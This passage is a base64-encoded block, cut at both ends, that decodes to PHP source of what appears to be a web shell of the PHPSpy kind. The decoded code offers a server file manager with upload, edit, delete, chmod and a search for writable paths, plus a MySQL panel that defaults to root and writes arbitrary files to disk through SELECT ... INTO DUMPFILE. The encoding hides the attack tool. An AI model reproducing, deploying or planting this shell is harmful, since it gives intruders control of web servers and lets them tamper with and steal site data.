TyIgdHlwZT0ic3VibWl0Ij48L3RkPgoJCTwvdHI+Cgk8L2Zvcm0+Cgk8L3RhYmxlPgo8P3BocAoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsKCQlpZiAoJG9iaiAmJiBpc19vYmplY3QoJG9iaikgJiYgJG9iai0+RHJpdmVzKSB7CgkJCWVjaG8gJzxkaXYgY2xhc3M9ImRyaXZlcyI+JzsKCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsKCQkJJGNvbW1hID0gJyc7CgkJCWZvcmVhY2goJG9iai0+RHJpdmVzIGFzICRkcml2ZSkgewoJCQkJaWYgKCRkcml2ZS0+UGF0aCkgewoJCQkJCXAoJGNvbW1hLic8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7Ij4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsKCQkJCQkkY29tbWEgPSAnPHNwYW4+fDwvc3Bhbj4nOwoJCQkJfQoJCQl9CgkJCWVjaG8gJzwvZGl2Pic7CgkJfQoJfQo/Pgo8L2Rpdj4KPD9waHAKCSRmaW5kc3RyID0gJF9QT1NUWydmaW5kc3RyJ107CgkkcmUgPSAkX1BPU1RbJ3JlJ107Cgl0YmhlYWQoKTsKCXAoJzx0ciBjbGFzcz0iYWx0MSI+PHRkIGNvbHNwYW49IjciIHN0eWxlPSJwYWRkaW5nOjVweDtsaW5lLWhlaWdodDoyMHB4OyI+Jyk7CglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJG5vd3BhdGguJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRub3dwYXRoLiciIHR5cGU9ImhpZGRlbiIgLz48L2Rpdj48L2Zvcm0+Jyk7CglwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij5XZWJSb290PC9hPicpOwoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJy5cJyk7Ij5TY3JpcHRQYXRoPC9hPicpOwoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOwoJcCgnIHwgVmlldyBXcml0YWJsZSAoIDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyxcJ2RpclwnKTsiPkRpcmVjdG9yeTwvYT4nKTsKCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyxcJ2ZpbGVcJyk7Ij5GaWxlPC9hPiApJyk7CglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWRpcigpOyI+Q3JlYXRlIERpcmVjdG9yeTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij5DcmVhdGUgRmlsZTwvYT4nKTsKCglwKCc8ZGl2IHN0eWxlPSJwYWRkaW5nOjVweCAwOyI+PGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+RmluZCBzdHJpbmcgaW4gZmlsZXMoY3VycmVudCBmb2xkZXIpOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJmaW5kc3RyIiB2YWx1ZT0iJy4kZmluZHN0ci4nIiB0eXBlPSJ0ZXh0IiAvPiA8aW5wdXQgY2xhc3M9ImJ0IiB2YWx1ZT0iRmluZCIgdHlwZT0ic3VibWl0IiAvPiBUeXBlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ3cml0YWJsZWRiIiB2YWx1ZT0iJy4kd3JpdGFibGVkYi4nIiB0eXBlPSJ0ZXh0IiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPiA8aW5wdXQgbmFtZT0icmUiIHZhbHVlPSIxIiB0eXBlPSJjaGVja2JveCIgJy4oJHJlID8gJ2NoZWNrZWQnIDogJycpLicgLz4gUmVndWxhciBleHByZXNzaW9uczwvZm9ybT48L2Rpdj48L3RkPjwvdHI+Jyk7CgoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7CgoJLy8/P++/ve+/ve+/ve+/vT/vv71z77+977+9Pz8/PwoJJGRpcmRhdGE9YXJyYXkoKTsKCSRmaWxlZGF0YT1hcnJheSgpOwoKCWlmICgkdmlld193cml0YWJsZSA9PSAnZGlyJykgewoJCSRkaXJkYXRhID0gR2V0V0Rpckxpc3QoJG5vd3BhdGgpOwoJCSRmaWxlZGF0YSA9IGFycmF5KCk7Cgl9IGVsc2VpZiAoJHZpZXdfd3JpdGFibGUgPT0gJ2ZpbGUnKSB7CgkJJGRpcmRhdGEgPSBhcnJheSgpOwoJCSRmaWxlZGF0YSA9IEdldFdGaWxlTGlzdCgkbm93cGF0aCk7Cgl9IGVsc2VpZiAoJGZpbmRzdHIpIHsKCQkkZGlyZGF0YSA9IGFycmF5KCk7CgkJJGZpbGVkYXRhID0gR2V0U0ZpbGVMaXN0KCRub3dwYXRoLCAkZmluZHN0ciwgJHJlKTsKCX0gZWxzZSB7CgkJLy8gPz8/PwoJCS8vc2NhbmRpcigp77+977+9Pz8/CgkJJGRpcnM9QG9wZW5kaXIoJGRpcik7CgkJd2hpbGUgKCRmaWxlPUByZWFkZGlyKCRkaXJzKSkgewoJCQkkZmlsZXBhdGg9JG5vd3BhdGguJGZpbGU7CgkJCWlmKEBpc19kaXIoJGZpbGVwYXRoKSl7CgkJCQkkZGlyZGJbJ2ZpbGVuYW1lJ109JGZpbGU7CgkJCQkkZGlyZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7CgkJCQkkZGlyZGJbJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYlsnZGlycGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYlsnZGlybGluayddPSRub3dwYXRoOwoJCQkJJGRpcmRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsKCQkJCSRkaXJkYXRhW109JGRpcmRiOwoJCQl9IGVsc2UgewkJCgkJCQkkZmlsZWRiWydmaWxlbmFtZSddPSRmaWxlOwoJCQkJJGZpbGVkYlsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGZpbGVwYXRoKSk7CgkJCQkkZmlsZWRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOwoJCQkJJGZpbGVkYlsnZmlsZWNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGJbJ2ZpbGVwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsKCQkJCSRmaWxlZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOwoJCQkJJGZpbGVkYXRhW109JGZpbGVkYjsKCQkJfQoJCX0vLyB3aGlsZQoJCXVuc2V0KCRkaXJkYik7CgkJdW5zZXQoJGZpbGVkYik7CgkJQGNsb3NlZGlyKCRkaXJzKTsKCX0KCUBzb3J0KCRkaXJkYXRhKTsKCUBzb3J0KCRmaWxlZGF0YSk7CgkkZGlyX2kgPSAnMCc7CgoJcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ3RoZWZpbGUnKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoKCWZvcmVhY2goJGRpcmRhdGEgYXMgJGtleSA9PiAkZGlyZGIpewoJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgewoJCQlpZigkZ2V0ZGlyICYmICRnZXRkaXIgPT0gJGRpcmRiWydzZXJ2ZXJfbGluayddKSB7CgkJCQkkYXR0YWNoc2l6ZSA9IGRpcnNpemUoJGRpcmRiWydzZXJ2ZXJfbGluayddKTsKCQkJCSRhdHRhY2hzaXplID0gaXNfbnVtZXJpYygkYXR0YWNoc2l6ZSkgPyBzaXplY291bnQoJGF0dGFjaHNpemUpIDogJ1Vua25vd24nOwoJCQl9IGVsc2UgewoJCQkJJGF0dGFjaHNpemUgPSAnPGEgaHJlZj0iamF2YXNjcmlwdDpnZXRzaXplKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZGlyLidcJyk7Ij5TdGF0PC9hPic7CgkJCX0KCQkJJHRoaXNiZyA9IGJnKCk7CgkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCBuYW1lPSJkbFtdIiB0eXBlPSJjaGVja2JveCIgdmFsdWU9IicuJGRpcmRiWydzZXJ2ZXJfbGluayddLiciPjwvdGQ+Jyk7CgkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGRpcmRiWydkaXJsaW5rJ10uJ1wnKTsiPicuJGRpcmRiWydtdGltZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRhdHRhY2hzaXplLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJjaG1vZCddLic8L2E+IC8gJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcnBlcm0nXS4nPC9hPicuJGRpcmRiWydmaWxlb3duZXInXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsKCQkJcCgnPC90cj4nKTsKCQkJJGRpcl9pKys7CgkJfSBlbHNlIHsKCQkJaWYoJGRpcmRiWydmaWxlbmFtZSddPT0nLi4nKSB7CgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7CgkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciI+LTwvdGQ+PHRkIG5vd3JhcCBjb2xzcGFuPSI1Ij48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy5nZXRVcFBhdGgoJG5vd3BhdGgpLidcJyk7Ij5QYXJlbnQgRGlyZWN0b3J5PC9hPjwvdGQ+Jyk7CgkJCQlwKCc8L3RyPicpOwoJCQl9CgkJfQoJfQoKCXAoJzx0ciBiZ2NvbG9yPSIjZGRkZGRkIiBzdGx5ZT0iYm9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkOyI+PHRkIGNvbHNwYW49IjYiIGhlaWdodD0iNSI+PC90ZD48L3RyPicpOwoJJGZpbGVfaSA9ICcwJzsKCglmb3JlYWNoKCRmaWxlZGF0YSBhcyAka2V5ID0+ICRmaWxlZGIpewoJCWlmKCRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7CgkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsKCQkJJHRoaXNiZyA9IGJnKCk7CgkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCBuYW1lPSJkbFtdIiB0eXBlPSJjaGVja2JveCIgdmFsdWU9IicuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nIj48L3RkPicpOwoJCQlwKCc8dGQ+Jy4oKHN0cnBvcygkZmlsZWRiWydzZXJ2ZXJfbGluayddLCAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKSAhPT0gZmFsc2UpID8gJzxhIGhyZWY9IicuJGZpbGV1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGZpbGVkYlsnZmlsZW5hbWUnXS4nPC9hPicgOiAkZmlsZWRiWydmaWxlbmFtZSddKS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydtdGltZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nPC9hPiAvICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRvd248L2E+IHwgJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT4nKTsKCQkJcCgnPC90ZD48L3RyPicpOwoJCQkkZmlsZV9pKys7CgkJfQoJfQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7CglwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPjx0ZCBjb2xzcGFuPSI0Ij48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOwoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7Cn0vLyBlbmQgZGlyCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7CglpZigkZG9pbmc9PSJteXNxbHVwbG9hZCIpewoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOwoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOwoJCWlmIChmaWxlX2V4aXN0cygkc2F2ZXBhdGgpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOwoJCX0gZWxzZSB7CgkJCWlmKCEkZmlsZW5hbWUpIHsKCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7CgkJCX0gZWxzZSB7CgkJCQkkZnA9QGZvcGVuKCRmaWxlbmFtZSwncicpOwoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQkJJGNvbnRlbnRzID0gYmluMmhleCgkY29udGVudHMpOwoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOwoJCQkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUIDB4eyRjb250ZW50c30gRlJPTSBteXNxbC51c2VyIElOVE8gRFVNUEZJTEUgJyRzYXZlcGF0aCc7Iik7CgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOwoJCQl9CgkJfQoJfQo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7CglpZighZG9pbmcpIHJldHVybjsKCSQoJ2RvaW5nJykudmFsdWU9ZG9pbmc7CgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9ydC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmluZm8nKS5kYnVzZXIudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJykuY2hhcnNldC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgSW5mb3JtYXRpb24nLCduYW1lJz0+J2RiaW5mbycpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7CglwKCc8cD4nKTsKCXAoJ0RCSG9zdDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOwoJcCgnOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsKCXAoJ0RCVXNlcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOwoJcCgnREJQYXNzOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7CglwKCdEQk5hbWU6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJuYW1lJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYm5hbWUpKTsKCXAoJ0RCQ2hhcnNldDonKTsKCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0ZGIsJ3NlbGVjdGVkJz0+JGNoYXJzZXQsJ25va2V5Jz0+MSkpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7CglwKCc8aDI+VXBsb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+PGI+VGhpcyBvcGVyYXRpb24gdGhlIERCIHVzZXIgbXVzdCBoYXMgRklMRSBwcml2aWxlZ2U8L2I+PC9wPicpOwoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsKCXAoJzxoMj5Eb3dubG9hZCBmaWxlPC9oMj4nKTsKCXAoJzxwPkZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9Im15c3FsZGxmaWxlIiBzaXplPSIxMTUiIHR5cGU9InRleHQiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWxkb3duXCcpOyI+RG93bmxvYWQ8L2E+PC9wPicpOwoJbWFrZWhpZGUoJ2RiaG9zdCcpOwoJbWFrZWhpZGUoJ2RicG9ydCcpOwoJbWFrZWhpZGUoJ2RidXNlcicpOwoJbWFrZWhpZGUoJ2RicGFzcycpOwoJbWFrZWhpZGUoJ2RibmFtZScpOwoJbWFrZWhpZGUoJ2NoYXJzZXQnKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsKCXAoJzwvZm9ybT4nKTsKfQoKZWxzZWlmICgkYWN0aW9uID09ICdteXNxbGFkbWluJykgewoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkZGJmb3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2YWx1ZT0iMSIgLz4nOwoJaWYoaXNzZXQoJGRiaG9zdCkpewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJ1c2VyKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwYXNzKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwb3J0KSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJuYW1lKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkY2hhcnNldCkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOwoJfQoKCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgewoJCWlmICghJHRhYmxlKSB7CgkJCW0oJ1BsZWFzZSBjaG9vc2UgdGhlIHRhYmxlJyk7CgkJfSBlbHNlIHsKCQkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCSRmcCA9IEBmb3BlbigkcGF0aCwndycpOwoJCQlpZiAoJGZwKSB7CgkJCQlmb3JlYWNoKCR0YWJsZSBhcyAkayA9PiAkdikgewoJCQkJCWlmICgkdikgewoJCQkJCQlzcWxkdW1wdGFibGUoJHYsICRmcCk7CgkJCQkJfQoJCQkJfQoJCQkJZmNsb3NlKCRmcCk7CQkJCQoJCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRwYXRoKTsKCQkJCW0oJ0RhdGFiYXNlIGhh